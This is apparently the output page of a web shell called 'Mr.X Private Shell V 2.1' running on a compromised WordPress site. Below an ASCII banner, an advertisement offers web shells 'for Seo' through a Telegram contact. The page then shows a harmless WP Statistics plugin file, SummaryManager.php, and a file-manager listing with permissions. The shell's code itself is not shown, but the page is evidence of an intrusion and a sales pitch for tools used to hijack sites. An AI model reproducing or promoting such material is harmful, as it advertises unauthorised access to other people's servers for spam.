__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace WP_Statistics\Service\Summary;
class SummaryManager
{
public function __construct()
{
add_action('init', [$this, 'registerEvents']);
add_action('update_option_timezone_string', [$this, 'rescheduleEvents'], 10, 2);
add_action('update_option_gmt_offset', [$this, 'rescheduleEvents'], 10, 2);
}
/**
* Register the summary events on init hook
*/
public function registerEvents()
{
$summaryEvents = new SummaryEvents();
$summaryEvents->register();
}
/**
* Reschedule summary events when timezone or GMT offset is updated
*/
public function rescheduleEvents()
{
$summaryEvents = new SummaryEvents();
$summaryEvents->reschedule();
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| SummaryEvents.php | File | 2.37 KB | 0644 |
|
| SummaryManager.php | File | 766 B | 0644 |
|